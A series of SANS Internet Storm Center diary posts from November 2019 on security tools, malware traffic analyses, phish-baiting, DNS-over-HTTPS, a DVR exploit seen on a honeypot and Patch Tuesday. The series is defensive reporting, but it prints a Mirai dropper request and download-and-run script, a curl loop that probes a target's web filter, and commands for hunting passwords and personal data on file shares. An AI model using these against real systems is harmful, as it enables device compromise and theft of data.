Published: 2019-11-29

ISC Snapshot: Search with SauronEye

SauronEye is a search tool built to aid red teams in finding files containing specific keywords.

If you’ve ever conducted a penetration test or a red/purples team engagement, you’ve been there. You’re staring at the target agency’s SharePoints and file shares and have recognized the bloody gold mine of pwnzorship it represents. Yet, as well we know, the search features in these scenarios are less than optimal. Maybe you’ve written scripts to help with this and batched up something useful, or cranked it out in PowerShell. @_vivami’s SauronEye is here to help. SauronEye is a “search tool to find specific files containing specific words, i.e. files containing passwords.”

SauronEye features, as cited from it’s GitHub page, include search of:
- multiple (network) drives
- contents of files
- contents of Microsoft Office files (.doc, .docx, .xls, .xlsx)
- multiple drives multi-threaded for increased performance
…and support for regular expressions in search keywords. Note too that SauronEye does not search %WINDIR% and %APPDATA%. Use the -SystemDirs flag to search the contents of Program Files*. SauronEye relies on multi-threading libraries only available from .NET 4.0 and later. SauronEye is a source package, you’ll need to roll your own here. I’ll assume you already have Visual Studio Community, here’s a quick build walkthrough. I work out of my C:\coding directory. In Visual Studio Community, click Clone or check out code, and give it you local path and the .git URL for SauronEye (Figure 1).

Figure 1

Figure 1: Clone SauronEye source

In Solution Explorer navigate to SauronEye.sln and open it.
In Solution Configuratons, switch from Debug to Release.
Click Build and select Build Solution.

Figure 2

Figure 2: Build SauronEye

That’s it, the resulting binary will be found in C:\coding\SauronEye\src\SauronEye\bin\Release.

The working scenario/user case here is again one that should be very familiar to red teamers and adversaries alike. I have NEVER assessed an organization where I didn’t find information and data stored on SharePoint or file shares that enabled either the compromise of individuals or systems, or both. Password files, sensitive PII, private keys, configuration strings, you name it, you’ll find it. It is here where SauronEye shines.
To validate SauronEye’s efficacy I planted a few files throughout my file directory. These included a SQL connection string in Documents\Cache, 500 really bad passwords in a text file on my Desktop, a PII file with SSNs in Documents, and 1000 test credit card numbers in Downloads. I ran SauronEye as follows:

C:\coding\SauronEye\src\SauronEye\bin\Release>SauronEye.exe -Dirs C:\Users\rmcree\ -Keywords password, connection, ssn, card* -Filetypes txt, .xls, .xlsx, .conf -Contents > results.txt

SauronEye immediately landed relevant file paths, then moved on to content:

	 === SauronEye === 

Directories to search: c:\users\rmcree\
For file types: .txt, .xls, .xlsx, .conf
Containing: password, connection, ssn
Search contents: True
Search Program Files directories: False

Searching in parallel: c:\users\rmcree\
[+] c:\users\rmcree\AppData\Local\Microsoft\Windows\FileHistory\Data\613\C\Users\rmcree\Documents\cache\SQLconnection.txt
[+] c:\users\rmcree\Desktop\500-worst-passwords.txt
[+] c:\users\rmcree\Documents\cache\SQLconnection.conf
[*] Done searching file system, now searching contents

Content discovered from my planted files included the SQL connection string:

[+] c:\users\rmcree\AppData\Local\Microsoft\Windows\FileHistory\Data\613\C\Users\rmcree\Documents\cache\SQLconnection.txt: 
	 Server=Pwn3dSQLServer\PwnM3;Database=IMPWN3D;User Id=ImaDumass;Password=123456;

Results from the 500 worst passwords are seen in Figure 3.

Figure 3

Figure 3: SauronEye finds really bad passwords

Customer PII is uncovered in Figure 4.

Figure 4: SauronEye reveals PII

From the 1000 credit card records:

[+] c:\users\rmcree\Downloads\1000_CC-Records.xlsx: 
	 Jefferson Trina A Carroll Jason K Bray Denny

This is a project to watch, and definitely one to try out during your next red team engagement, penetration test, or audit/assessment. It’s guaranteed you’ll find useful results. Please use SauronEye responsibly. Vincent is committed to this project, was immediately responsive to a bug query, and deployed a fix in less than 24 hours. Please support him with bug reports, feature requests, or pull requests.

Cheers…until next time.

Russ McRee | @holisticinfosec


Published: 2019-11-27

Finding an Agent Tesla malware sample

I was browsing through the Any Run sandbox looking through the public submissions of malware with pcaps of infection traffic from Tuesday 2019-11-26.  I found this one, and it's tagged agentteslaAgent Tesla is an information stealer.  Based on the file name, this Agent Tesla malware sample may have been disguised as an installer for Discord.

Shown above:  The Agent Tesla malware sample I found on Any.Run.

I retrieved the pcap from Any.Run's analysis of this malware sample, so I could review the traffic.  Agent Tesla sends an email containing information from the victim's Window host.  In many cases, email traffic generated by Agent Tesla is encrypted SMTP, but sometimes the post-infection SMTP traffic is unencrypted.  Luckily, this example was unencrypted SMTP.

Shown above:  Getting the pcap from analysis of the malware sample.

Shown above:  Filtering on the pcap in Wireshark and finding the TCP stream to follow for the SMTP traffic (over TCP port 587).

Shown above:  TCP stream showing unencrypte SMTP traffic caused by this sample of Agent Tesla.

As shown in the image above, this sample of Agent Tesla malware exfiltrated stolen data to the email address origin@gdrogroup.com.  I've filtered out what would normally be sensitive data in the above image, so if you're curious, you can review the pcap (here's a link again for the analysis page) and discover for yourself.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2019-11-26

Lessons learned from playing a willing phish

Replying to phishing e-mails can lead to some interesting experiences (besides falling for the scams they offer, that is). Since it doesn’t require a deep technical know-how or any special expertise, it is something I recommend everyone to try out at least once, as it can lead to some funny moments and show us that the phishing trade doesn’t always operate in the way we might expect it to.

When it comes to phishing e-mails, unless they are successful, highly targeted, or part of a larger attack pattern of a single threat actor, most of us tend to just delete the messages and quickly forget them. But sometimes it can be quite instructive to bait the phishers and play a potential victim of the scam they thought up. Although most of us won’t be able to come close to making the attacker join our fictitious religion and send us his photograph with his breast is painted red, along with a sum of money[1], the experience can still be quite interesting and teach us a lot.

If you chose to bait phishing attackers, it is advisable not to do so from your own e-mail account but use another one – ideally a “burner” account you don’t mind losing. This brings us to one of the first things pretty much anyone who tries to bait phishers learns – unless it’s a targeted attack, the scammers don’t (for obvious reasons) check whether the e-mail address they receive a reply from was part of the list of addresses they originally send the phishing to.

If we reply to a phishing e-mail within a couple of days after receiving it, chances are that phishers will get in touch with us. Phishing messages usually ask us (again, for obvious reasons) to reply to a different address than the one we (seemingly) received it from. For run of the mill phishing attacks, most threat actors stop (or are forced to stop) using any e-mail addresses associated with a phishing campaign fairly quickly, although this is not always the case. The campaign which prompted me to write this diary actually surprised me very much in this regard. And, since it was otherwise quite “normal”, we’ll use it as an example of how phishing campaigns may progress.

It started all the way back in August with an e-mail in which the author, claiming to be an attorney of a recently deceased wealthy man, promised me untold riches if I act as a relative of the deceased in order to get his vast fortune as an inheritance. It contained the following text in both English and Spanish.

From: Ike Kekeli <ikekekeli77@gmail.com> 
To: undisclosed-recipients:;
Subject: Hi ,
Date: 13 Aug 2019 17:29 (GMT +02:00)


Firstly, let me identify myself without any intention of equivocation
on this business opportunity to you my name is Ike Kekeli , A
Fiduciary bank Attorney At Law ?s wish to know if we can work
together. I would like you to stand as the surviving beneficiary to my
deceased client ( Mr . Gilbert ) who made some deposit of $7.9 Million
Dollars to be transferred to any possible safe account with your good

He died without leaving any WILL and any registered next of kin and as
such the funds now have an open beneficiary mandate. Kindly get in
touch with me through my email address ( barristerikek <at> gmail.com ) for
more guidelines to the repatriation of this fund.

Attorney Ike Kekeli . ( Esq )


I only noticed the e-mail when I was going through my phishing quarantine nearly two weeks after it was delivered and although the e-mail wasn’t special in any way (this sort of lure is quite common in phishing), and I wasn’t holding much hope with regards to the address still being active, I decided to reply. The reaction from the attackers didn’t take long – within 10 minutes, I had another e-mail in my inbox, this time asking me for my personal information. Although this sort of reaction time puts even many professional support teams to shame, it is actually not uncommon for phishers to reply to their potential victims very quickly. Sometimes, it might take a day or two to get a reply back, but in many other cases (especially in cases of BECs), five or ten minutes may be more than enough time.

After exchanging couple of messages with “attorney Ike”, he sent me couple of forms pre-filled with the personal information I’ve provided earlier and asked me to send these to a “bank” – a different e-mail address used by the attackers. This is another quite common technique used by malicious actors as it lends the scam much more credibility if multiple “trustworthy” parties seem to be involved. The reply from the bank contained a spectacularly looking letter in a PDF from the “bank president” asking me for a copy of my ID card.


Sending the phishers a document can be a good way to determine their external IP address – I send the “bank” a TinyUrl link which redirected a visitor to my logger script, which, after saving the IP address of the visitor and some additional information, redirected them to what seemed to be a corrupted JPEG file. Since most phishers don’t have a high level of technical expertise or security awareness, they tend to click pretty much anything one sends them, so it didn’t take long to get a hit on the logger script and determine where the attackers were from.

The “bank” afterwards asked me to send in a filled in form with my personal information and a photo. I’m the first to admit that I can be a bit juvenile in such cases – I usually pick one of the more famous actors out there, as you may see bellow, and see whether I get any interesting reaction from the phishers. Although it is surprising, they usually don’t notice it.

It was at this point that both “Ike” and the “bank” started to ask for money – since the “bank” sent me an account number to transfer the money to (account in a different bank, then the one they were acting as, of course), I contacted the real bank with the account information and after exchanging couple of additional messages broke off the contact with the scammers. Getting the account number and providing it to the bank which hosts the account is usually the most one can do in such cases, without straying outside the reasonable ethical boundaries. It took about two weeks for the phishers to give up after I stopped responding at the beginning of September.

The most interesting part of this phishing campaign came only last week, when I received a new message from “Ike”, promising me a reward for helping him although the deal didn’t work out. That is not so unusual, what is – at least in my experience – quite unique is that the message was sent from the same e-mail address the attackers used during our original interaction.

And this is, so far, the last lesson which interacting with phishers has taught me – although I would have expected that any e-mail address used for phishing could not stay active for so long, there are some (or certainly at least one) which have been used for more than a quarter of a year and are still being actively used.

[1] https://419eater.com/html/joe_eboh.htm


Jan Kopriva
Alef Nula


Published: 2019-11-25

My Little DoH Setup

"DoH"[1], this 3-letters acronym is a buzzword on the Internet in 2019! It has been implemented in Firefox, Microsoft announced that Windows will support it soon. They are pro & con about encrypting DNS requests in  HTTPS but it's not the goal of this diary to restart the debate. In a previous diary, he explained how to prevent DoH to be used by Firefox[2] but, this time, I'll play on the other side and explain to you how to implement it in a way to keep control of your DNS traffic (read: how to keep an eye on DNS request performed by users and systems). For a while, I had the idea to test a DoH configuration but I had some requirements:

  • It must be transparent for users
  • DNS requests must be logged (who resolved which domain and when)
  • Local DNS zones like 'lab.domain.tld' or 'iot.domain.tld' must be supported (resolved via a local bind instance)
  • Users are protected via a PiHole[3] (against advertisements & malicious domains)
  • Integration with 3rd party tools

This weekend, I decided to reconfigure my network. Here is my current setup:

Endpoints (laptops, tablets, phones, visitors, etc) are using a PiHole instance (provided via DHCP) from their VLAN. Servers are using the normal Bind instance. PiHole forwards the allowed DNS requests to Bind. It is master and can resolve RFC1918 addresses from local zones (ex: *.lab.domain.tld). If the FQDN is unknown, it is forwarded to a local cloudflared[4] daemon via UDP/5353 that used DoH to resolve public names. To keep an eye on DNS requests, PiHole and Bind send their logs to my SIEM for further processing and reporting/alerting.

From a setup point of view, everything is running in Docker containers and, to increase my detection capabilities, my MISP instance is feeding PiHole and Bind with a daily export of malicious domains[5]. Let's see how it works in the coming days...

[1] https://en.wikipedia.org/wiki/DNS_over_HTTPS
[2] https://isc.sans.edu/forums/diary/Blocking+Firefox+DoH+with+Bind/25316
[3] https://pi-hole.net/
[4] https://github.com/cloudflare/cloudflared
[5] https://isc.sans.edu/forums/diary/DNS+Firewalling+with+MISP/24556

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2019-11-23

Local Malware Analysis with Malice

This project (Malice) provides the ability to have your own locally managed multi-engine malware scanning system. The framework allows the owner to analyze files for known malware. It can be used both as a command tool to analyze samples and review the results via a Kibana web interface. The Command-Line Interface (CLI) is used to scan a file or directory or can be setup to watch and scan new files when copied into a write only directory.

It is modular and is supported by "plugins". Each plugin (malware scanning engine) can be installed in separate Dockers. Beside AV engines, there are other "plugins" for querying Virustotal (register with a key), hash searches using the NSRL database and Team Cymru.

The web/API UI hasn't been added yet but you can setup a write only directory with "malice watch [dir]" option and copy the files to be scanned into it, the results of the scan can be reviewed using the Kibana UI. The documentation is here and the list of available plugins is here. Current support for OSX, Linux and Docker. This is the output viewed from the Kibana interface:

Listing the plugins: sudo malice plugin list --all --detail
Location of plugins: $HOME../.malice/plugins/plugins.toml

[1] https://github.com/maliceio/malice
[2] https://github.com/maliceio/malice/tree/master/docs
[3] https://github.com/maliceio/malice/blob/master/docs/plugins/plugins.md
[4] https://github.com/maliceio/malice/tree/master/docs/installation

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2019-11-22

Abusing Web Filters Misconfiguration for Reconnaissance

Yesterday, an interesting incident was detected while working at a customer SOC. They use a “next-generation” firewall that implements a web filter based on categories. This is common in many organizations today: Users' web traffic is allowed/denied based on an URL categorization database (like “adult content”, “hacking”, “gambling”, …). How was it detected? 

We received notifications about suspicious traffic based on bad websites detection (read: “not allowed” in the firewall policy). The alert could be read like:

The IP x.x.x.x  tried to access the URL xxxxxxxxx (matching category: xxxxxxxxx)

Why was it more suspicious than usual? It was generated by an “external” IP address (not belonging from any subnet - routed or non-routable). This was strange and it deserved some deeper investigations! No routing issue, no spoofing, it looked like the traffic was really coming from the wild Internet and triggered the web filter. After a deeper check with the team in charge of the firewall, they discovered the mistake: The web filter was also applied on incoming interfaces and the default denied page was returned to the visitor! The offending IP address was (ab)using the web filter feature to perform some reconnaissance: To detect which web sites are allowed/denied by the organization. How? Just visit the website to be tested by connecting to the public address of the target! 

To achieve this, just adapt your '/etc/hosts' (UNIX) or '%SYSTEM%\drivers\etc\hosts' (Windows) and add a static entry:

x.x.x.x    www.maliciouswebsite.com

Where ‘x.x.x.x.’ is an IP address belonging to the customer.

Not very practical if you must test a lot of sites. Thanks to curl[1], we can automate this in a nice way. Let’s save our malicious sites to be tested in a file, one hostname per line:

$ echo <<__END__ >sites.txt

Now, use the power of curl! It has a nice feature to resolve sites to a specific address (via the '--resolve' parameter):

$ cat sites.txt | while read URL
  curl -s --resolve $URL:x.x.x.x http://$URL | grep -i “blocked” >/dev/null || echo “$URL is NOT blocked”

This command will visit potential malicious URLs by connecting to the customer's IP address. If the website is not allowed in the policy, the default access denied page will be displayed and we search for an interesting keyword like 'blocked'. Keep this in mind in your future security tests, always try to access a suspicious URL combined with an IP address of your target.

Since this incident, the firewall policy has been fixed!

[1] https://isc.sans.edu/forums/diary/Exploiting+the+Power+of+Curl/23934

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2019-11-21

Gathering information to determine unusual network traffic

When working with threat intelligence, it's vital to collect indicators of compromise to be able to determine possible attack patterns. What could be catalogued as unusual network traffic? This is all traffic that is not being seen normally in the network, meaning that after building a frequence table all IP addresses shown less than 1% are suspicious and should be investigated.

What do we need to build a frequence table? We could use a sniffer and then process the network capture to speed things.

Another alternative is to use libpcap to gather information about the incoming protocols and the timestamp that packets were seen. For this diary, we will show a C program using libpcap that will take timestamp and the following information from protocols:

Protocol Fields (CSV file) Log file
TCP year,month,day,hour,minute,second,source IP, source port tcplog.csv
UDP year,month,day,hour,minute,second,source IP, source port udplog.csv
ICMP year,month,day,hour,minute,second,source IP, ICMP Type number icmplog.csv

How to we build the program?

  • We need to define all protocol headers: ethernet, IP, TCP, UDP and ICMP

struct ethernetheader {

        unsigned char ether_dhost[ETHER_ADDR_LEN];    /* destination host address */

        unsigned char ether_shost[ETHER_ADDR_LEN];    /* source host address */

        unsigned short ether_type;                     /* IP? ARP? RARP? etc */


Check the ethernet frame. Same fields.

struct ipheader {

        unsigned char  ip_vhl;                 /* version << 4 | header length >> 2 */

        unsigned char  ip_tos;                 /* type of service */

        unsigned short ip_len;                 /* total length */

        unsigned short ip_id;                  /* identification */

        unsigned short ip_off;                 /* fragment offset field */

        #define IP_RF 0x8000            /* reserved fragment flag */

        #define IP_DF 0x4000            /* dont fragment flag */

        #define IP_MF 0x2000            /* more fragments flag */

        #define IP_OFFMASK 0x1fff       /* mask for fragmenting bits */

        unsigned char  ip_ttl;                 /* time to live */

        unsigned char  ip_p;                   /* protocol */

        unsigned short ip_sum;                 /* checksum */

        struct  in_addr ip_src,ip_dst;  /* source and dest address */


Check the IP header. Same fields too.

/* TCP header */

typedef unsigned int tcp_seq;

struct tcpheader {

        unsigned short th_sport;               /* source port */

        unsigned short th_dport;               /* destination port */

        tcp_seq th_seq;                 /* sequence number */

        tcp_seq th_ack;                 /* acknowledgement number */

        unsigned char  th_offx2;               /* data offset, rsvd */

#define TH_OFF(th)      (((th)->th_offx2 & 0xf0) >> 4)

        unsigned char  th_flags;

        #define TH_FIN  0x01

        #define TH_SYN  0x02

        #define TH_RST  0x04

        #define TH_PUSH 0x08

        #define TH_ACK  0x10

        #define TH_URG  0x20

        #define TH_ECE  0x40

        #define TH_CWR  0x80


        unsigned short th_win;                 /* window */

        unsigned short th_sum;                 /* checksum */

        unsigned short th_urp;                 /* urgent pointer */


Same goes for the TCP header.

struct udpheader {

unsigned short int udp_srcport;

unsigned short int udp_destport;

        unsigned short int udp_len;

        unsigned short int udp_chksum;


Same goes for UDP header.

struct icmpheader {

u_int8_t type; /* message type */

u_int8_t code; /* type sub-code */

u_int16_t checksum;

union {

struct {

      u_int16_t id;

      u_int16_t sequence;

        } echo; /* echo datagram */

        u_int32_t gateway; /* gateway address */

struct {

      u_int16_t __unused;

      u_int16_t mtu;

        } frag; /* path mtu discovery */

        } un;


Same goes for ICMP header.

  • We find the capture device:

dev = pcap_lookupdev(errbuf);

if (dev == NULL) {

fprintf(stderr, "Couldn't find capture device: %s\n",errbuf);



  • We get the netmask for the capture device:

if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {

fprintf(stderr, "Couldn't get netmask for device %s: %s\n", dev, errbuf);

net = 0;

mask = 0;


  • We open the capture device:

handle = pcap_open_live(dev, SNAP_LEN, 1, 1000, errbuf);

if (handle == NULL) {

fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);



  • We make sure we are capturing on an ethernet device:

if (pcap_datalink(handle) != DLT_EN10MB) {

fprintf(stderr, "%s is not an Ethernet\n", dev);



  • We implement the capture filter by compiling and installing it:

char filter_exp[] = "ip";

if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {

fprintf(stderr, "Couldn't parse filter %s: %s\n",

filter_exp, pcap_geterr(handle));



if (pcap_setfilter(handle, &fp) == -1) {

fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));



  • We define the pcap_loop() function to invoke packet_process() to process packets:

pcap_loop(handle, 0, packet_process, NULL);

  • We define a switch-case code inside the packet_process() function to gather the information from packets and save it to the statistics log:

ethernet = (struct ethernetheader*)(packet);

ip = (struct ipheader*)(packet + SIZE_ETHERNET);

size_ip = IP_HL(ip)*4;

if (size_ip >= 20) {

switch(ip->ip_p) {



tcp = (struct tcpheader*)(packet + SIZE_ETHERNET + size_ip);

size_tcp = TH_OFF(tcp)*4;

if (size_ip >= 20){








udp = (struct udpheader*)(packet + SIZE_ETHERNET + size_ip);







icmp = (struct icmpheader*)(packet + SIZE_ETHERNET + size_ip);






printf("Protocol: unknown\n");




After executing the program, you will get the three log files:

Want to download the whole source code? Go to http://github.com/manuelsantander/packetprocess

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter: @manuelsantander
e-mail: msantand at isc dot sans dot org


Published: 2019-11-20

Hancitor infection with Pony, Evil Pony, Ursnif, and Cobalt Strike


Hancitor (also known as Chanitor or Tordal) is malware spread through malicious spam (malspam).  Hancitor infections most often include Pony and Evil Pony as follow-up malware.  Hancitor also pushed Zeus Panda Banker as additional follow-up malware until November 2018, when it switched from Zeus Panda Banker to Ursnif.  Follow-up malware usually remained Pony, Evil Pony, and/or Ursnif until July 2019, when we started seeing Cobalt Strike as additional follow-up malware.

Current malspam campaigns pushing Hancitor have been using the same DocuSign-themed email template since early October 2019.  However, traffic patterns have evolved since then, so today's diary reviews indicators of a recent Hancitor infection on 2019-11-19.

Shown above:  Flow chart for recent Hancitor infections since early October 2019.

The malspam

According to this Twitter thread started by @wwp96, malspam pushing Hancitor on Tuesday 2019-11-19 used docusign@galliumtech.net as the spoofed sending address, and subject lines all had the word DocuSign in them.  I was not able to obtain a copy of the 2019-11-19 malspam, but below is an image of email headers from similar Hancitor malspam on Monday 2019-11-28.

Shown above:  An example of headers from malspam pushing Hancitor on Monday 2019-10-28.

Some links seen in emails from this wave of Hancitor malspam are shown in the image below from a Pastebin post created by @James_inthe_box.

Shown above: Some links from malspam pushing Hancitor on Tuesday 2019-11-19.

Shown above:  Link from an email redirecting to another URL.

Infection traffic

The link redirected to in the above image returned a zip archive as shown below.

Shown above:  Zip archive delivered from redirect after clicking link in Hancitor malspam.

After I extracted the VBS file from the downloaded zip archive, I used it to infect a vulnerable Windows host in my lab environment.

Shown above:  Traffic from an infection in my lab environment filtered in Wireshark.

The initial infection in my lab environment did not have Cobalt Strike; however, when I ran the Hancitor DLL in an Any.Run sandbox, it generated post-infection traffic associated with Cobalt Strike.

Shown above:  Hancitor infection traffic with Ursnif and Cobalt Strike as the follow-up malware.

Post-infection forensics

The Hancitor DLL was stored with a .txt file extension in my infected user's AppData\Local\Temp directory.  I also saw indictors of the initial Ursnif EXE in the AppData\Local\Temp directory.  In my lab, Ursnif updated the Windows registry to stay persistent.  I did not find any indicators of Hancitor remaining persistent.  After a reboot, my Hancitor infection stopped (even though Ursnif continued).

Shown above:  Artifacts from a Hancitor infection with Ursnif in my lab environment.

Shown above:  Ursnif persistent on an infected Windows host.

Final words

Hancitor malspam is most often caught by an organization's spam filters, so I don't consider this a high-risk threat.  As always, if your organization follows best security practices, you're not likely to get infected.  Up-to-date versions of Windows 10 with the latest security measures should be enough to stop this threat.  If you're still running Windows 7, well-known techniques like Software Restriction Policies (SRP) or AppLocker can prevent this and other malspam-based activity.

So why do we continue to see malspam pushing Hancitor and other relatively easy-to-detect malware?  As long as it's profitable for the criminals behind it, we'll continue to see this type of malspam.

Pcaps and malware from the infection covered in today's diary is available here.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2019-11-19

Cheap Chinese JAWS of DVR Exploitability on Port 60001

Looking at some local IP addresses in our database during class this week, I came across a host scanning exclusively for %%port:60001%%. Interestingly, we did see a marked increase in scans for this port in recent weeks. 

To get to the bottom of this, I set up a quick TCP listener on port 60,001 on a honeypot. Within seconds, an attack reached the honeypot:

GET /shell?cd+/tmp;rm+-rf+b;wget+http:/\/;chmod+777+b;sh+b;rm+-rf+b HTTP/1.1
Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Downloading the "advertised" file leads to (sorry the bad language):




for Binary in $BINARIES; do
    wget http://$WEBSERVER/$Binary -O bigbotPein
    chmod 777 bigbotPein
    ./bigbotPein arm

rm -f bigbotPein b

I downloaded the "arm7" file, and also found an "x86" file on the same host. The sha256 hashes:

8948e12836c219506a6541316cb2d6f9dbe0c27f984b7b7117b15db85a425f9d  x86
8292a8b60ba245370856fcf807c854854578fd0c82a04a616a24fb76e04a1eb4  arm7

Virustotal identifies these binaries as Mirai variants. Mirai type botnets have been adding more and more web application vulnerabilities to their repertoire.

The exploit appears to match an "MVPower DVR Jaws" remote code execution vulnerability [1]. While the original report of this vulnerability indicated that the webserver was running on port 80, it looks like the bad guys found a good size population of these DVRs listening on port 60001. The pentest report from Pentest Partners regarding this vulnerability shows almost comical incompetence of whoever coded the firmware for these cameras. Moving the webserver to a "hidden" port like 60,001 appears to be considered a likely security measure by a company producing this kind of trash.

A quick Shodan query suggests that out of the about 100k exposed "JAWS" servers. 76k of them are listening on port 60001 (only 10k on port 80). These web servers have an unusually large concentration in Iran.

[1] https://www.pentestpartners.com/security-blog/pwning-cctv-cameras/


Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute


Published: 2019-11-18

SMS and 2FA: Another Reason to Move away from It.

Developing applications around SMS has become very popular, with several companies offering simple to use APIs and attractive pricing to send and receive SMS. One security-related application of these SMS APIs (for the right or wrong reasons) has been simple two-factor authentication. This time, I don't want to talk so much about the security reasons not to use SMS to authenticate to critical systems, but some of the technical changes that are happening with SMS in the US and Canada.

Carriers in the US are usually not allowed to interfere with message delivery. The issue is similar to the larger "net-neutrality" question. Services considered telecommunication services must not be restricted or filtered, while information services can be restricted. Carriers argued that to curb spam and abuse of text messaging services, they need to be able to apply restrictions.

Late last year, the FCC did issue a ruling allowing carriers to restrict and filter SMS/MMS messages [1].

Starting this spring, some carriers in the US rolled out filters to restrict messages sent by applications. This "A2P" (Application to Person) messages can no longer be sent from regular long-distance numbers. Many small applications use standard long-distance numbers to send messages because they are cheap (typically about $1/month). The alternative is either toll-free numbers or shortcodes. Shortcodes are 5-6 digit long numbers specifically used for SMS, and they can not be used for standard voice calls. They can be very expensive (approx. $1,000/month),

 If your application uses SMS to, for example, notify you of system outages or send you a 2FA code, your messages may not be received if you are using a standard long-distance number to send the messages from. I found that there is often no error message in this case. The easiest (cheapest) solution right now appears to be to move to a toll-free number. They are not very expensive ($2-5/month) if you don't care about the exact number and are willing to accept one of the less known toll-free area codes like 833. For shortcodes, some services offer "shared codes" where your application uses the same shortcode as other applications, but this can be more difficult to use in particular if you are expecting replies.

Of course, there are a few other methods to send messages:

  • Phone companies usually offer email to SMS gateways. These appear to be unaffected. But you will need to know which carrier a particular number is associated with.
  • You could use other messaging services (iMessage, Slack, Telegram...) that have some form of API. But again, you will need to support different services and different APIs making development more difficult, or you may even need to develop a dedicated mobile application.
  • There are some newer messaging standards like RCS. Just last month, the big US carrier finalized an interoperability standard for RCS, and it is still a bit too early to use it. Ultimately RCS is supposed to replace SMS/MMS. It allows for features like group messaging, and rich character sets that users have become accustomed to from other messaging services. The FCC ruling does not cover RCS at this point.


[1] https://docs.fcc.gov/public/attachments/FCC-18-178A1.pdf

Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute


Published: 2019-11-13

An example of malspam pushing Lokibot malware, November 2019


I posted two diaries last year (2018) about Lokibot malware (sometimes spelled "Loki-bot").  One was in June 2018 and one was in December 2018.  It's been a while, so I wanted to share a recent example that came to my blog's admin email on Tuesday 2019-11-12.

The email

You can get a copy of the sanitized email from this Any.Run link.

Shown above:  A copy of the email opened in Thunderbird.

The attachment was a RAR archive (link) and the RAR archive contained a Windows executable file disguised as a PDF document (link).

Shown above:  The attached RAR archive and the extracted Windows executable file.

The infection traffic

Infection traffic is easily detectable by signatures from the EmergingThreats Open ruleset.

Shown above:  Traffic from an infection filtered in Wireshark.

Shown above:  TCP stream from one of the HTTP requests caused by my sample of Lokibot malware.

Shown above:  EmergingThreats alerts from an Any.Run sandbox analysis of the Windows executable file.

Post-infection forensics on an infected Windows host

I was able to infect a Windows 10 host in my lab environment, and Lokibot made itself persistent through the Windows registry.

Shown above:  Lokibot on an infected Windows host.

Shown above:  Windows registry update caused by Lokibot to stay persistent.

Final words

SHA256 hash of the email:

SHA256 hash of the attached RAR archive:

SHA256 hash of the extracted Windows executable file (Lokibot malware):

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2019-11-12

November 2019 Microsoft Patch Tuesday

Microsoft today patched a total of 74 vulnerabilities. This patch Tuesday release also includes two advisories. 15 of the vulnerabilities are rated critical.

Two vulnerabilities had been disclosed prior to today, and one critical scripting engine vulnerability has already been exploited in the wild. The vulnerability, CVE-2019-1429, may lead to remote code execution due to memory corruption in the scripting engine. All current versions of Windows / Internet Explorer are affected. This is probably the most important issue you need to patch. At the recent "Pwn2Own" contest in Tokyo, JavaScript engine issues were used to breach anything from smart TV to smartphones via not-so-smart browsers.

The first publicly disclosed problem, a confidentiality issue with Trusted Platform Module (TPM) chip firmware, is probably not as severe. It only affects the ECDSA algorithm, which isn't used in Windows so far. Patching this issue will be difficult. You will need to update the TPM firmware (and the page Microsoft links to with details from the TPM manufacturer is down right now). Once updated, you need to re-enroll into security services. 

The second publicly known vulnerability affects the Microsoft Office Click-to-Run system (C2R). A crafted file could abuse these components to escalate privileges and execute code as System.



CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
Azure Stack Spoofing Vulnerability
%%cve:2019-1234%% No No - - Important    
DirectWrite Information Disclosure Vulnerability
%%cve:2019-1432%% No No - - Important 4.4 4.0
%%cve:2019-1411%% No No Less Likely Less Likely Important 4.4 4.0
Hyper-V Remote Code Execution Vulnerability
%%cve:2019-0719%% No No Less Likely Less Likely Critical 8.0 7.2
%%cve:2019-0721%% No No Less Likely Less Likely Critical 8.0 7.2
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2019-1406%% No No Less Likely Less Likely Important 6.7 6.0
Latest Servicing Stack Updates
ADV990001 No No - - Critical    
Microsoft ActiveX Installer Service Elevation of Privilege Vulnerability
%%cve:2019-1382%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Edge Security Feature Bypass Vulnerability
%%cve:2019-1413%% No No - - Important 4.3 3.9
Microsoft Excel Information Disclosure Vulnerability
%%cve:2019-1446%% No No Less Likely Less Likely Important    
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2019-1448%% No No Less Likely Less Likely Important    
Microsoft Exchange Remote Code Execution Vulnerability
%%cve:2019-1373%% No No Less Likely Less Likely Critical    
Microsoft Guidance for Vulnerability in Trusted Platform Module (TPM)
ADV190024 Yes No - -      
Microsoft Office ClickToRun Security Feature Bypass Vulnerability
%%cve:2019-1449%% No No Less Likely Less Likely Important    
Microsoft Office Excel Security Feature Bypass
%%cve:2019-1457%% Yes No - - Important    
Microsoft Office Information Disclosure Vulnerability
%%cve:2019-1402%% No No Less Likely Less Likely Important    
Microsoft Office Online Spoofing Vulnerability
%%cve:2019-1445%% No No - - Important    
%%cve:2019-1447%% No No - - Important    
Microsoft Office Security Feature Bypass Vulnerability
%%cve:2019-1442%% No No - - Important    
Microsoft SharePoint Information Disclosure Vulnerability
%%cve:2019-1443%% No No Less Likely Less Likely Important    
Microsoft Windows Information Disclosure Vulnerability
%%cve:2019-1381%% No No Less Likely Less Likely Important 6.6 5.9
Microsoft Windows Media Foundation Remote Code Execution Vulnerability
